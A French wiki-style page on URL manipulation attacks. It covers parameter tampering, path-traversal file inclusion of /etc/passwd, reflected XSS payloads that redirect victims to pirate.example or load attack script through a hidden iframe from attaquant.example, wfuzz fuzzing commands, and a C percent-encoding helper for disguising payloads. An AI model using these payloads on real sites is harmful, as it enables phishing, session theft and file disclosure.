Modification d'URL
Aller à la navigation
Aller à la recherche
| Fiche express | |
|---|---|
| Domaine | Attaque web / fuzzing |
| Techniques | Tampering de paramètres, LFI, XSS réfléchi |
| Outil | Wfuzz |
| Voir aussi | Méthodologie d'attaque web · Iframe |
La modification d'URL regroupe les manipulations des paramètres passés dans l'URL : altération de valeurs, inclusion de fichier (LFI), injection de code JavaScript. Ces modifications se font le plus souvent à la main mais peuvent être automatisées.
Exemples
- chercher une variable du type
admin=0/user=useret la modifier enadmin=1/user=admin; - inclusion de fichier :
pages=presentation.htmldevient../../../../../../etc/passwd(passwd).
python wfuzz.py -c -z range -r 0-100 --hc 404 --html \
http://localhost/fog/index.php?log_formid=FUZZ 2>fog_scan1.html
Injection de JavaScript (XSS réfléchi)
Si une variable est réaffichée dans la page, tester :
<script>alert('test')</script>
Si cela fonctionne, on peut rediriger la victime :
<script>document.location='http://pirate.example'</script>
On fournit alors à la cible l'URL qui redirige automatiquement. Pour masquer les caractères :
<→%3C>→%3E
Script C d'encodage (chaque caractère est remplacé par % suivi de sa valeur hexadécimale) :
#include <stdio.h>
#include <string.h>
int main() {
int i;
char chaine[1000];
char p = 37; /* '%' */
printf("saisir la chaine a encoder : ");
scanf("%s", chaine);
for (i = 0; i < strlen(chaine); i++)
printf("%c%x", p, chaine[i]);
printf("\n\n");
return 0;
}
Cette faille, rare, peut être dissimulée dans une iframe (voir Iframe) :
<iframe width="0" height="0" src="attaquant.example/js_attaque/"></iframe>
Énumération de paramètres avec un dictionnaire :
python wfuzz.py -c -z file -f wordlist/big.txt --hc 404 --html \
http://localhost/fog/index.php?log_forumid=FUZZ 2>fog_scanid.html
Voir aussi
- Méthodologie d'attaque web · Iframe
- Wfuzz — automatisation du fuzzing d'URL